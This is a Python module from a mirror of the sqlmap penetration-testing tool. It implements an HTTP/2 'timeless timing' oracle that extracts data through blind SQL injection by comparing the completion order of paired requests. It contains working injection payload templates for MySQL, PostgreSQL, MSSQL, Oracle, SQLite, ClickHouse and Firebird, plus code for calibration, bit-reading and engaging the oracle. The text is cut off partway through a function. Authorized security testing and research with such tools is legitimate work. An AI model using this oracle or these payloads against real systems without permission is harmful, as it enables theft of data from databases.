mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-07-10 18:43:07 +00:00
714 lines
42 KiB
Python
714 lines
42 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|
See the file 'LICENSE' for copying permission
|
|
"""
|
|
|
|
# HTTP/2 "timeless timing" oracle (Van Goethem et al., USENIX Security 2020) built on the native
|
|
# client's exchange_pair() primitive (lib/request/http2.py). Two requests are coalesced into a single
|
|
# TCP write and multiplexed on one connection; because they share the packet and the path, network
|
|
# jitter hits both equally and cancels, so the RELATIVE order in which their responses complete reflects
|
|
# only the server-side processing delta. That lets a millisecond (or sub-ms) difference in query work be
|
|
# read that absolute wall-clock timing, drowned by jitter, cannot resolve - and it needs no SLEEP: the
|
|
# NATURAL execution-time gap between a true and a false boolean branch is signal enough on most engines.
|
|
#
|
|
# The oracle is only valid when the target processes the two streams CONCURRENTLY; a serializing
|
|
# front-proxy makes order track arrival, not work. calibrate() detects that (and estimates the readable
|
|
# delta) so the caller never applies the oracle blind - it falls back to classic time-based instead.
|
|
|
|
import threading
|
|
|
|
from lib.core.enums import DBMS
|
|
from lib.request.http2 import _H2Connection
|
|
|
|
# Serializes the one-shot autoEngage() so concurrent worker threads never double-calibrate/double-engage.
|
|
_engageLock = threading.Lock()
|
|
|
|
|
|
def buildConditionPair(condition, heavy, cheap="0"):
|
|
"""Turn a boolean `condition` (the same comparison bisection injects at INFERENCE_MARKER, e.g.
|
|
'ORD(...)>64') into the two INFERENCE expressions the timeless oracle needs: one that makes the DB
|
|
do the expensive `heavy` work iff the condition is TRUE, and its mirror that does the SAME heavy work
|
|
iff the condition is FALSE. Exactly one of the pair runs heavy for any given row, so response order
|
|
names the bit - with NO SLEEP, purely from the natural cost of `heavy`. Both expressions are valid
|
|
booleans (>=0 always holds) so they never change the page, keeping the channel blind.
|
|
|
|
`heavy` is a DBMS-specific bounded-cost scalar subquery (a partial scan / expensive function);
|
|
`cheap` is a constant. CASE/WHEN is used so the branch is gated deterministically rather than relying
|
|
on optimiser short-circuit.
|
|
|
|
>>> c, n = buildConditionPair("ORD(x)>64", "SELECT COUNT(*) FROM t")
|
|
>>> c
|
|
'(CASE WHEN (ORD(x)>64) THEN (SELECT COUNT(*) FROM t) ELSE (0) END)>=0'
|
|
>>> n
|
|
'(CASE WHEN (ORD(x)>64) THEN (0) ELSE (SELECT COUNT(*) FROM t) END)>=0'
|
|
"""
|
|
condExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, heavy, cheap)
|
|
negExpr = "(CASE WHEN (%s) THEN (%s) ELSE (%s) END)>=0" % (condition, cheap, heavy)
|
|
return condExpr, negExpr
|
|
|
|
|
|
def _pairOrder(conn, reqA, reqB, timeout):
|
|
"""Send reqA and reqB as one coalesced pair; return the stream id that finished FIRST plus the two
|
|
stream ids in send order (reqA got the lower id)."""
|
|
order, _results = conn.exchange_pair([reqA, reqB], timeout)
|
|
loSid = conn.next_sid - 4
|
|
hiSid = conn.next_sid - 2
|
|
return order[0], loSid, hiSid
|
|
|
|
|
|
def readBit(conn, reqCond, reqNeg, votes=5, timeout=30):
|
|
"""Read one boolean by the cond-last FRACTION over symmetric pairs, ESCALATING when the fraction is
|
|
ambiguous (load-degraded).
|
|
|
|
reqCond does the heavy work iff the guessed condition is TRUE; reqNeg does the SAME heavy work iff the
|
|
condition is FALSE (it carries the negated condition). Exactly one runs heavy, so whichever finishes
|
|
LAST names the answer. Each vote alternates which stream id carries reqCond (cancels lower-id-first bias)
|
|
and counts how often reqCond finished last:
|
|
- real TRUE -> reqCond (heavy) finishes last almost every vote -> fraction ~1.0
|
|
- real FALSE -> reqNeg (heavy) finishes last -> fraction ~0.0
|
|
- END-OF-STRING -> the comparison is NULL, and negatePayload's NULL-safe negation makes reqNeg run
|
|
heavy on that NULL, so reqCond finishes first -> fraction ~0.0 (on a DBMS that instead ERRORS past
|
|
the end - CockroachDB - both requests error and it is a ~0.5 coin flip).
|
|
Decision: fraction >= 0.8 -> TRUE; <= 0.5 -> FALSE (covers real-false ~0, NULL end-of-string ~0, and
|
|
CockroachDB error end-of-string ~0.5, so the string terminates cleanly instead of inventing phantom
|
|
trailing characters). The 0.5-0.8 band is where a genuine TRUE bit lands when self-induced load (e.g.
|
|
--threads: N value-parallel workers => ~Nx heavy queries contend and add jitter, though calibration was
|
|
single-threaded) drags its fraction down; that is NOT a mean shift but variance, so we ESCALATE - keep
|
|
voting up to a cap and average it out - which recovers it above 0.8 without lowering the threshold (a
|
|
lower threshold would misread CockroachDB's ~0.5 error-eos as a character). SYMMETRIC, so the base query
|
|
time cancels - robust where absolute pair-time, gap, and always-heavy-reference signals are confounded."""
|
|
condLast, i = 0, 0
|
|
cap = votes * 5 # escalation ceiling for ambiguous (load-degraded) bits
|
|
while True:
|
|
if i % 2 == 0:
|
|
first, loSid, _hiSid = _pairOrder(conn, reqCond, reqNeg, timeout)
|
|
condSid = loSid
|
|
else:
|
|
first, _loSid, hiSid = _pairOrder(conn, reqNeg, reqCond, timeout)
|
|
condSid = hiSid
|
|
if first != condSid: # reqCond finished last -> it ran heavy -> vote says TRUE
|
|
condLast += 1
|
|
i += 1
|
|
if i < votes: # gather a minimum sample before deciding
|
|
continue
|
|
fraction = condLast / float(i)
|
|
if fraction >= 0.8:
|
|
return True
|
|
if fraction <= 0.5:
|
|
return False
|
|
if i >= cap: # still ambiguous after escalating -> decide by the same threshold
|
|
return fraction >= 0.8
|
|
|
|
|
|
def calibrate(conn, reqSlow, reqFast, trials=40, threshold=0.9, timeout=30, progress=None):
|
|
"""Decide whether the target is usable for the timeless oracle. Sends a KNOWN-asymmetric pair
|
|
(reqSlow does real extra work, reqFast short-circuits) in BOTH stream-id orderings; on a concurrent
|
|
backend the slow request finishes last regardless of its id. Returns (usable, confidence) where
|
|
confidence is the fraction of trials in which the slow request finished last. Below `threshold` the
|
|
backend is serializing (or the delta is unreadable) -> caller must NOT use the oracle. `progress`, if
|
|
given, is called once per trial so the caller can stream a progress indicator."""
|
|
slowLast = 0
|
|
for i in range(trials):
|
|
if i % 2 == 0:
|
|
first, loSid, _hiSid = _pairOrder(conn, reqSlow, reqFast, timeout)
|
|
slowSid = loSid
|
|
else:
|
|
first, _loSid, hiSid = _pairOrder(conn, reqFast, reqSlow, timeout)
|
|
slowSid = hiSid
|
|
if first != slowSid:
|
|
slowLast += 1
|
|
if progress is not None:
|
|
progress()
|
|
confidence = slowLast / float(trials) if trials else 0.0
|
|
return (confidence >= threshold), confidence
|
|
|
|
|
|
def connect(host, port=443, proxy=None, timeout=30):
|
|
"""Open a dedicated HTTP/2 connection for timeless probing (kept separate from the request pool so
|
|
its multiplexed pairs never interleave with ordinary single-stream traffic)."""
|
|
return _H2Connection(host, port, proxy, timeout)
|
|
|
|
|
|
class TimelessOracle(object):
|
|
"""The engaged timeless-timing oracle, held on kb.timeless while active. queryPage() routes every
|
|
boolean comparison (timeBasedCompare requests) here instead of measuring wall-clock time: it takes the
|
|
already-assembled condition request (built via buildOnly), pairs it against a FIXED always-heavy
|
|
reference and reads the bit from response order. This reuses the entire bisection/inference/threading
|
|
stack unchanged - bisection just calls queryPage and gets a bool.
|
|
|
|
Thread safety: each worker thread gets its OWN H2 connection (threading.local), mirroring keepalive.py
|
|
and the http2 pool - streams from different threads never interleave on one socket, so parallel
|
|
per-value extraction (--threads / _threadedInferenceValues) is safe. The reference request is an
|
|
immutable spec-derived dict, so it is shared read-only across threads."""
|
|
|
|
def __init__(self, host, port, refReq, proxy=None, asymVotes=12, votes=5, timeout=30):
|
|
self.host, self.port, self.proxy = host, port, proxy
|
|
self.refReq = refReq # fixed always-heavy reference request (asymmetric tiebreak)
|
|
self.asymVotes = asymVotes # asymmetric tiebreak: fixed pairs, fraction-thresholded
|
|
self.votes = votes # symmetric: pairs per bit, cond-last fraction thresholded (readBit);
|
|
# enough votes that TRUE ~100% and end-of-string ~50% separate cleanly
|
|
self.timeout = timeout
|
|
self._local = threading.local()
|
|
self._conns = [] # every opened connection, for clean teardown
|
|
self._lock = threading.Lock()
|
|
self.savedTechnique = None # active technique whose vector we swapped (restored on disengage)
|
|
self.savedVector = None
|
|
|
|
def _conn(self):
|
|
conn = getattr(self._local, "conn", None)
|
|
if conn is None or not conn.usable:
|
|
conn = self._local.conn = connect(self.host, self.port, self.proxy, self.timeout)
|
|
with self._lock:
|
|
self._conns.append(conn)
|
|
return conn
|
|
|
|
def readBitFromSpecs(self, condSpec, negSpec=None):
|
|
"""Read the bit from the assembled condition request and, when available, its negation. With a
|
|
negSpec the SYMMETRIC oracle is used (cond-last fraction over votes - base query time cancels, so it
|
|
stays reliable on heavy/noisy enumeration queries and detects end-of-string as the ~50% split). The
|
|
asymmetric-vs-reference path is only a fallback for a non-sentinel vector (no negSpec) and must not
|
|
be used for a heavy-base condition (the trivial-base reference is not comparable). Specs are the
|
|
(url, method, headers, post) tuples from getPage(buildOnly=True)."""
|
|
reqCond = _specToReq(condSpec, self.host)
|
|
if negSpec is not None:
|
|
return readBit(self._conn(), reqCond, _specToReq(negSpec, self.host), votes=self.votes, timeout=self.timeout)
|
|
return readBitAsymmetric(self._conn(), reqCond, self.refReq, self.asymVotes, self.timeout)
|
|
|
|
def close(self):
|
|
with self._lock:
|
|
for conn in self._conns:
|
|
try:
|
|
conn.close()
|
|
except Exception:
|
|
pass
|
|
self._conns = []
|
|
|
|
|
|
def engage(host, port, vector, proxy=None, timeout=30):
|
|
"""Build the fixed always-heavy reference from `vector` (INFERENCE=1=1) and install a per-thread
|
|
TimelessOracle on kb.timeless (connections open lazily per worker thread). queryPage picks it up
|
|
automatically. Call disengage() when done. `vector` is the tuned rung-2 heavy vector (see tuneHeavy).
|
|
The reference is used by the asymmetric tiebreak when a symmetric read splits (end-of-string / noise)."""
|
|
from lib.core.data import kb
|
|
|
|
refReq = _forgeRequest("1=1", host, vector)
|
|
kb.timeless = TimelessOracle(host, port, refReq, proxy=proxy, timeout=timeout)
|
|
return kb.timeless
|
|
|
|
|
|
def disengage():
|
|
"""Tear down the timeless oracle and close all per-thread connections."""
|
|
from lib.core.data import kb
|
|
|
|
oracle = kb.get("timeless")
|
|
if oracle is not None:
|
|
if oracle.savedTechnique is not None:
|
|
try:
|
|
from lib.core.common import getTechniqueData
|
|
getTechniqueData(oracle.savedTechnique).vector = oracle.savedVector
|
|
except Exception:
|
|
pass
|
|
oracle.close()
|
|
kb.timeless = None
|
|
|
|
|
|
def hintTimeless():
|
|
"""Advisory nudge: when a scan is about to rely on TIME-based blind (the slowest channel) and the user
|
|
did NOT pass '--timeless', probe the target for HTTP/2 and, if it speaks it, suggest '--timeless' once.
|
|
Only fires when time-based is the channel that will actually be used (no faster in-band option) so the
|
|
hint is never noise. Purely advisory, never raises, at most one message per run."""
|
|
from lib.core.data import conf, kb
|
|
from lib.core.common import isTechniqueAvailable, singleTimeWarnMessage
|
|
from lib.core.enums import PAYLOAD
|
|
|
|
try:
|
|
if conf.get("timeless") or kb.get("timelessHinted"):
|
|
return
|
|
kb.timelessHinted = True
|
|
|
|
# only relevant when time-based is the chosen channel (a faster in-band one would be used instead)
|
|
if not isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME):
|
|
return
|
|
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.BOOLEAN)):
|
|
return
|
|
|
|
try:
|
|
from urllib.parse import urlsplit
|
|
except ImportError:
|
|
from urlparse import urlsplit
|
|
parts = urlsplit(conf.url or "")
|
|
if parts.scheme != "https":
|
|
return
|
|
|
|
# cheap one-connection HTTP/2 ALPN probe: connect() raises unless the server negotiates 'h2'
|
|
conn = connect(parts.hostname, parts.port or 443, None, conf.timeout or 30)
|
|
conn.close()
|
|
singleTimeWarnMessage("target speaks HTTP/2 - switch '--timeless' can extract this time-based injection "
|
|
"by relative response order (no delay), typically far faster. Consider re-running with '--timeless'")
|
|
except Exception:
|
|
pass
|
|
|
|
|
|
def autoEngage():
|
|
"""Attempt to engage the timeless oracle for the current target's EXTRACTION phase. Called once by
|
|
action() after detection (so the heavy vector is swapped in BEFORE any extraction payload is built).
|
|
Requires '--timeless', an https/HTTP-2 target, and a confirmed time-based technique on a DBMS with a
|
|
light-heavy primitive; calibrates + tunes and only engages if the response-order signal is reliable
|
|
(the safety gate) - otherwise the scan silently keeps using classic time-based. Never raises."""
|
|
from lib.core.data import conf, kb, logger
|
|
from lib.core.common import Backend
|
|
|
|
with _engageLock:
|
|
if kb.get("timeless") is not None:
|
|
return True
|
|
return _doAutoEngage(conf, kb, logger, Backend)
|
|
|
|
|
|
def _doAutoEngage(conf, kb, logger, Backend):
|
|
try:
|
|
if not conf.get("timeless"):
|
|
return False
|
|
|
|
# Never during detection - that phase confirms the vuln (and runs the false-positive check) by
|
|
# measuring REAL induced delays, which response-order would break. kb.testMode is True throughout
|
|
# detection and False once extraction begins.
|
|
if kb.get("testMode"):
|
|
return False
|
|
|
|
# Timeless accelerates TIME-based extraction, so it needs a CONFIRMED time-based technique whose
|
|
# data carries an [INFERENCE] vector - that vector is what we swap for the tuned heavy one.
|
|
from lib.core.enums import PAYLOAD
|
|
from lib.core.settings import INFERENCE_MARKER
|
|
timeData = kb.injection.data.get(PAYLOAD.TECHNIQUE.TIME) if (kb.injection and kb.injection.data) else None
|
|
if not timeData or INFERENCE_MARKER not in (timeData.vector or ""):
|
|
return False
|
|
|
|
try:
|
|
from urllib.parse import urlsplit
|
|
except ImportError:
|
|
from urlparse import urlsplit
|
|
parts = urlsplit(conf.url or "")
|
|
if parts.scheme != "https":
|
|
logger.warning("'--timeless' requires an https/HTTP-2 target. Falling back to classic time-based")
|
|
return False
|
|
|
|
host, port = parts.hostname, parts.port or 443
|
|
dbms = Backend.getIdentifiedDbms()
|
|
if lightHeavyVector(dbms, LIGHT_HEAVY_COSTS[0]) is None:
|
|
logger.warning("'--timeless' has no heavy-query primitive for DBMS '%s' yet. Falling back to classic time-based" % dbms)
|
|
return False
|
|
|
|
# Calibration sends a few hundred coalesced probe-pairs to measure the target's response-order
|
|
# reliability and tune the work size - that is the pause the user sees before engagement. Announce
|
|
# it and stream a dot per probe, mirroring the classic time-based "statistical model, please wait".
|
|
import time as _time
|
|
from lib.core.common import dataToStdout
|
|
dataToStdout("[%s] [INFO] calibrating HTTP/2 timeless timing on '%s' (measuring response-order reliability), please wait" % (_time.strftime("%X"), dbms))
|
|
probe = connect(host, port, None, conf.timeout or 30)
|
|
# value-parallel dumping runs conf.threads workers concurrently, each firing heavy queries; demand
|
|
# that much more calibration margin so the tuned cost survives the self-induced load (see tuneHeavy).
|
|
loadFactor = max(1, conf.threads or 1)
|
|
try:
|
|
vector, cost, confidence = tuneHeavy(probe, dbms=dbms, progress=lambda: dataToStdout('.'), loadFactor=loadFactor)
|
|
finally:
|
|
probe.close()
|
|
dataToStdout(" (done)\n")
|
|
|
|
if not vector:
|
|
logger.warning("HTTP/2 timeless timing is not usable on this target (confidence %.2f, backend likely serializes streams). Falling back to classic time-based" % confidence)
|
|
return False
|
|
|
|
oracle = engage(host, port, vector, timeout=conf.timeout or 30)
|
|
# Votes per bit for the cond-last fraction: enough that a real TRUE (~100%) clears the 80% threshold
|
|
# and end-of-string (~50%) stays below it, with headroom for jitter. A perfectly-calibrated target
|
|
# needs fewer; a marginal one gets more. (No validateChar re-check runs under timeless.)
|
|
oracle.votes = 5 if confidence >= 1.0 else 9
|
|
|
|
# bisection forges its comparison payloads from the TIME technique's vector - swap in the tuned
|
|
# heavy (sentinel) vector NOW (before extraction builds any payload) so every condition request
|
|
# gates the heavy branch and carries the sentinels the symmetric oracle negates. Restored on
|
|
# disengage().
|
|
oracle.savedTechnique = PAYLOAD.TECHNIQUE.TIME
|
|
oracle.savedVector = timeData.vector
|
|
timeData.vector = vector
|
|
|
|
logger.info("turning on HTTP/2 timeless timing (heavy cost %d, calibration %.2f) - reading bits by response order, no delay" % (cost, confidence))
|
|
return True
|
|
except Exception as ex:
|
|
from lib.core.common import getSafeExString
|
|
logger.warning("HTTP/2 timeless timing setup failed ('%s'). Falling back to classic time-based" % getSafeExString(ex))
|
|
return False
|
|
|
|
|
|
# Connection/h2-forbidden request headers that a coalesced pair must not carry (open_url strips the same
|
|
# set for single requests); ':authority' replaces Host, and content-length/framing are h2's job.
|
|
_FORBIDDEN_HEADERS = frozenset(("host", "connection", "keep-alive", "proxy-connection",
|
|
"transfer-encoding", "upgrade", "content-length"))
|
|
|
|
|
|
def _specToReq(spec, fallbackAuthority):
|
|
"""Convert the (url, method, headers, post) tuple that Connect.getPage(buildOnly=True) returns into
|
|
the request dict exchange_pair expects."""
|
|
try:
|
|
from urllib.parse import urlsplit
|
|
except ImportError:
|
|
from urlparse import urlsplit
|
|
|
|
url, method, headers, post = spec
|
|
parts = urlsplit(url)
|
|
path = parts.path or "/"
|
|
if parts.query:
|
|
path += "?" + parts.query
|
|
reqHeaders = {}
|
|
for key in (headers or {}):
|
|
name = key.decode("latin-1") if isinstance(key, bytes) else key
|
|
if name.lower() not in _FORBIDDEN_HEADERS:
|
|
reqHeaders[key] = headers[key]
|
|
return {"method": method, "path": path, "authority": (parts.netloc.split("@")[-1] or fallbackAuthority),
|
|
"headers": reqHeaders, "body": post}
|
|
|
|
|
|
def getHeavyVector(dbms=None):
|
|
"""Return the raw heavy-query time-based vector shipped for `dbms` (default: the identified back-end),
|
|
reused verbatim as the timeless rung-2 payload - it is already an '... IF/CASE (INFERENCE) THEN <heavy>
|
|
ELSE <cheap> ...' gate, WAF-tuned and per-DBMS, so the heavy work provides the natural delta with no
|
|
SLEEP. Prefers the plain 'AND' boundary variant. Returns None if none is loaded."""
|
|
from lib.core.data import conf
|
|
from lib.core.common import Backend
|
|
|
|
dbms = dbms or Backend.getIdentifiedDbms()
|
|
if not dbms:
|
|
return None
|
|
|
|
andVector = orVector = None
|
|
for test in (conf.tests or []):
|
|
title = (test.get("title") or "")
|
|
if "heavy query" not in title.lower():
|
|
continue
|
|
testDbms = ((test.get("details") or {}).get("dbms")) or ""
|
|
testDbms = testDbms if isinstance(testDbms, str) else " ".join(testDbms)
|
|
# tolerate combined labels like "Microsoft SQL Server/Sybase"
|
|
if not (dbms.lower() in testDbms.lower() or any(part.strip().lower() == dbms.lower() for part in testDbms.split('/'))):
|
|
continue
|
|
vector = (test.get("vector") or "").strip()
|
|
# Only the inband boundary variants splice into a WHERE clause; skip stacked (';...') and inline forms.
|
|
if vector.upper().startswith("AND "):
|
|
andVector = andVector or vector
|
|
elif vector.upper().startswith("OR "):
|
|
orVector = orVector or vector
|
|
return andVector or orVector
|
|
|
|
|
|
# Light, TUNABLE heavy primitives for timeless rung 2. The shipped heavy-query vectors are tuned for
|
|
# absolute-timing thresholds (seconds) - e.g. SQLite RANDOMBLOB([SLEEPTIME]00000000/2) is ~50MB/request -
|
|
# which is both needlessly slow AND a DoS risk. Timeless only needs a few milliseconds above the target's
|
|
# scheduling noise, so we generate the SAME bounded-work idioms (series / catalog cross-joins) capped by a
|
|
# [COST] the calibrator dials UP from a small default until the response-order signal is reliable. That
|
|
# self-tunes to the lightest payload that works - fast, and never allocates a huge blob.
|
|
# [COST] is replaced with a row count; each primitive is a scalar sub-select doing ~[COST] units of
|
|
# bounded work. Grouped by dialect and keyed on sqlmap's canonical DBMS names (DBMS.* enum) so a fork
|
|
# (MariaDB->MySQL, CockroachDB->PostgreSQL, ...) resolves via its base DBMS, and there is no string drift.
|
|
# A DBMS absent here (or whose primitive is wrong on a given target) simply fails calibration and the scan
|
|
# falls back to classic time-based - the light-heavy is always safety-gated, never applied blind.
|
|
#
|
|
# SCOPE: timeless layers on top of a DETECTED time-based technique, so it can only ever engage on a DBMS
|
|
# that ships a time-based payload (data/xml/payloads/time_blind.xml): PostgreSQL, MySQL (+MariaDB/TiDB),
|
|
# Oracle, Microsoft SQL Server, Sybase, SQLite, Firebird, ClickHouse, IBM DB2, Informix, HSQLDB, SAP MaxDB.
|
|
# Engines with NO time-based payload (H2, MonetDB, CrateDB, Vertica, Presto/Trino, Snowflake) are never
|
|
# detected as injectable via time, so a light-heavy primitive for them is dead code - they are NOT listed.
|
|
#
|
|
# GATING & SAFETY: the heavy work must run for exactly ONE of a boolean condition and its negation, so
|
|
# response ORDER names the bit. It is gated by the shipped-vector shape `[RANDNUM]=(CASE WHEN (cond) THEN
|
|
# (<heavy>) ELSE [RANDNUM] END)` - the THEN branch does the work iff cond holds, the ELSE is a cheap literal.
|
|
# Some optimisers HOIST an uncorrelated scalar subquery out of the CASE and run it in BOTH branches (seen on
|
|
# TiDB with `(SELECT BENCHMARK(N,MD5(1)))`; MySQL 8.4 does not). That is not a correctness hazard here: when
|
|
# both branches do equal work the measured delta is ~0, so tuneHeavy's MIN_HEAVY_MS gate REJECTS the rung
|
|
# and the scan falls back to classic time-based - correct data, just no timeless speedup. Corruption only
|
|
# ever came from ENGAGING with a tiny-but-nonzero delta that flips under load; requiring MIN_HEAVY_MS of
|
|
# real server-side delay (not just a reliable idle order) is the fix for that, and it is primitive-agnostic.
|
|
# So the rule is simply: pick the strongest per-DBMS bounded primitive; if a target hoists/folds it to a
|
|
# sub-threshold delta, it safely falls back. Keyed on DBMS.* so forks resolve via their base DBMS
|
|
# (MariaDB/TiDB->MySQL, CockroachDB->PostgreSQL).
|
|
_LH_MYSQL = "(SELECT BENCHMARK([COST],MD5(1)))" # MySQL/MariaDB: CPU burn, O(1) memory (TiDB hoists -> safe fallback)
|
|
_LH_MSSQL = "(SELECT LEN(HASHBYTES('SHA2_512',REPLICATE(CAST('a' AS VARCHAR(MAX)),[COST]))))" # MSSQL/Sybase (VARCHAR(MAX) bypasses REPLICATE's 8000-byte cap)
|
|
|
|
LIGHT_HEAVY = {
|
|
DBMS.PGSQL: "(SELECT COUNT(*) FROM GENERATE_SERIES(1,[COST]))", # PG materialises the series
|
|
DBMS.MYSQL: _LH_MYSQL,
|
|
DBMS.MSSQL: _LH_MSSQL,
|
|
DBMS.SYBASE: _LH_MSSQL,
|
|
DBMS.ORACLE: "(SELECT COUNT(*) FROM DUAL CONNECT BY LEVEL<=[COST])",
|
|
# recursive CTE - rows depend on the previous, so the engine must produce them one by one (never folded)
|
|
DBMS.SQLITE: "(SELECT COUNT(*) FROM (WITH RECURSIVE _c(_x) AS (SELECT 1 UNION ALL SELECT _x+1 FROM _c LIMIT [COST]) SELECT _x FROM _c))",
|
|
# ClickHouse ships a time-based payload; a plain COUNT folds (columnar) so force a per-row hash
|
|
DBMS.CLICKHOUSE: "(SELECT COUNT(*) FROM numbers([COST]) WHERE MD5(toString(number))='zz')",
|
|
# Firebird best-effort: no generator, recursion<=1024, strings<=32 KB -> fixed system-catalog cross-join
|
|
DBMS.FIREBIRD: "(SELECT SUM(a.RDB$RELATION_ID) FROM RDB$RELATIONS a, RDB$RELATIONS b, RDB$RELATIONS c)",
|
|
# NOTE: DB2/Informix/HSQLDB/SAP MaxDB ship time-based payloads but have no validated light-heavy here ->
|
|
# no entry -> they gracefully fall back to classic time-based (SLEEP/heavy-query) extraction.
|
|
}
|
|
|
|
# Ascending cost ladder tuneHeavy walks ([COST] = generator rows / recursion depth / BENCHMARK iterations /
|
|
# string length). It escalates until the MEASURED server-side heavy delta is >= MIN_HEAVY_MS (a real time
|
|
# margin so bits don't flip under extraction load) AND the response-order calibrates reliably. The same
|
|
# [COST] costs very different time per primitive (a generator row << a BENCHMARK MD5 iteration), so the
|
|
# ladder is walked by measured time, not a fixed floor - each engine lands on whatever rung first clears the
|
|
# margin. The low rungs let CPU-dense primitives land near 20-60 ms instead of overshooting. Top is 4M so
|
|
# string primitives allocate at most ~4 MB (memory-safe, no spill/DoS). If even 4M can't reach MIN_HEAVY_MS
|
|
# reliably the target is too noisy/fast-to-read -> fall back to classic. Correctness beats ms - a flip means
|
|
# re-extract.
|
|
LIGHT_HEAVY_COSTS = (20000, 60000, 200000, 600000, 2000000, 4000000)
|
|
MIN_HEAVY_MS = 15.0 # required server-side heavy delta; ~15 ms clears realistic multi-hop extraction-load jitter
|
|
# The heavy/cheap PAIR separation must also be >= this fraction of the base (cheap) pair time - an absolute
|
|
# floor alone is marginal on a slow multi-hop path (a 15 ms margin on a ~50 ms base flips ~10% of bits under
|
|
# load); requiring a relative margin makes such a target climb to a robustly-separated cost. See tuneHeavy.
|
|
MIN_SEPARATION_FRAC = 0.5
|
|
|
|
# DBMSes whose primitive is a bounded GENERATOR whose row count sits in the [COST] slot. For these the bit
|
|
# gates the WORK AMOUNT (the count) rather than selecting between a heavy and a cheap CASE branch. This is
|
|
# what makes the oracle survive optimisers that DECORRELATE/HOIST an uncorrelated scalar subquery out of a
|
|
# CASE and run it in BOTH branches (observed on CockroachDB with GENERATE_SERIES for a non-foldable
|
|
# condition - the false branch still materialised the full series, so cond and neg were BOTH heavy and the
|
|
# response order was a coin flip -> corruption). With the count itself computed from the bit
|
|
# (GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)) there is no constant subquery to hoist: the engine
|
|
# must evaluate the CASE first and only then generate that many rows, so exactly one of cond/neg does the
|
|
# work. CONNECT BY LEVEL<=expr and LIMIT expr are standard, so Oracle/SQLite use the same form. Validated
|
|
# end-to-end on CockroachDB (was corrupting, now reads 1.00) and PostgreSQL (still engages, unchanged).
|
|
_GATED_COST = frozenset((DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE))
|
|
|
|
|
|
# Inert SQL-comment sentinels bracketing the injected comparison inside the heavy vector. They let the
|
|
# oracle build the exact NEGATED payload (heavy-iff-false) from the forged condition payload by a single
|
|
# regex - enabling the SYMMETRIC oracle (condition vs its negation, exactly one runs heavy, 1 pair reads
|
|
# the bit both ways) without any change to bisection. Comments are ignored by the DBMS parser.
|
|
INFERENCE_BEGIN = "/*tlb*/"
|
|
INFERENCE_END = "/*tle*/"
|
|
|
|
|
|
def lightHeavyVector(dbms, cost):
|
|
"""Return the timeless rung-2 vector for `dbms` doing ~`cost` units of bounded work (or None if no
|
|
primitive is defined). The INFERENCE slot is bracketed with sentinels so negatePayload() can derive the
|
|
mirror for the symmetric oracle (condition vs its negation, exactly one runs heavy).
|
|
|
|
Two gating shapes, both flowing through the exact same payload machinery:
|
|
- GENERATOR primitives (see _GATED_COST): the bit is placed INSIDE the row-count bound
|
|
(GENERATE_SERIES(1, CASE WHEN cond THEN [COST] ELSE 1)), so there is no constant subquery for an
|
|
optimiser to hoist out of a CASE and run in both branches - the count itself depends on the bit.
|
|
- Everything else: the classic '[RANDNUM]=(CASE WHEN cond THEN <heavy> ELSE [RANDNUM])' branch, used
|
|
where the cost slot must stay constant (MySQL BENCHMARK) or there is no numeric cost (Firebird);
|
|
these engines were validated not to hoist.
|
|
Either way tuneHeavy's MIN_HEAVY_MS gate + faithful (uncorrelated) calibration mean a target that still
|
|
manages an unreadable delta simply fails calibration and falls back to classic - never corrupts."""
|
|
primitive = LIGHT_HEAVY.get(dbms)
|
|
if not primitive:
|
|
return None
|
|
if dbms in _GATED_COST:
|
|
gate = "(CASE WHEN (%s[INFERENCE]%s) THEN %d ELSE 1 END)" % (INFERENCE_BEGIN, INFERENCE_END, int(cost))
|
|
heavy = primitive.replace("[COST]", gate)
|
|
return "AND [RANDNUM]<%s" % heavy
|
|
heavy = primitive.replace("[COST]", str(int(cost)))
|
|
return "AND [RANDNUM]=(CASE WHEN (%s[INFERENCE]%s) THEN (%s) ELSE [RANDNUM] END)" % (INFERENCE_BEGIN, INFERENCE_END, heavy)
|
|
|
|
|
|
def negatePayload(value):
|
|
"""Return `value` with the sentinel-bracketed comparison replaced by a NULL-SAFE negation, or None if
|
|
no sentinel pair is present (a non-timeless vector). Used to build the symmetric oracle's negated
|
|
request (the request whose heavy branch must run iff the condition does NOT hold).
|
|
|
|
The negation is `(CASE WHEN (cond) THEN 1 ELSE 0 END)=0`, which is TRUE iff `cond` is false OR NULL -
|
|
NOT plain `NOT(cond)`. This is the end-of-string fix: past the end of a string the comparison
|
|
(ASCII(SUBSTR(...))>n) is NULL, and `NOT(NULL)` is NULL, so with plain NOT NEITHER the condition nor
|
|
its negation forces the heavy branch - both requests stay cheap and the response order is left to
|
|
secondary noise (measured ~0.6 cond-last on Oracle, not a clean coin flip), which invents phantom
|
|
trailing characters. With the CASE form the negation's ELSE catches NULL, so at end-of-string the
|
|
NEGATION request runs heavy and the condition request stays cheap: the condition finishes first every
|
|
vote (fraction ~0), read as False, and the string terminates cleanly. CASE + integer '=0' is portable
|
|
across every DBMS (unlike `IS NOT TRUE`)."""
|
|
import re
|
|
|
|
pattern = re.compile(r"%s(.*?)%s" % (re.escape(INFERENCE_BEGIN), re.escape(INFERENCE_END)))
|
|
if not pattern.search(value or ""):
|
|
return None
|
|
return pattern.sub(lambda m: "%s(CASE WHEN (%s) THEN 1 ELSE 0 END)=0%s" % (INFERENCE_BEGIN, m.group(1), INFERENCE_END), value)
|
|
|
|
|
|
def _pairMs(conn, reqA, reqB, samples=5, timeout=30):
|
|
"""Median wall-clock of the coalesced PAIR (reqA, reqB) until BOTH streams finish - tracks the heavy
|
|
branch when one is heavy, bare round-trip when none. Used for the reliability/separation gate that
|
|
decides which cost to engage at (see tuneHeavy)."""
|
|
import time as _t
|
|
|
|
ts = []
|
|
for _ in range(samples):
|
|
s = _t.time()
|
|
_pairOrder(conn, reqA, reqB, timeout)
|
|
ts.append((_t.time() - s) * 1000.0)
|
|
return sorted(ts)[samples // 2]
|
|
|
|
|
|
def _calibrationConditions(dbms):
|
|
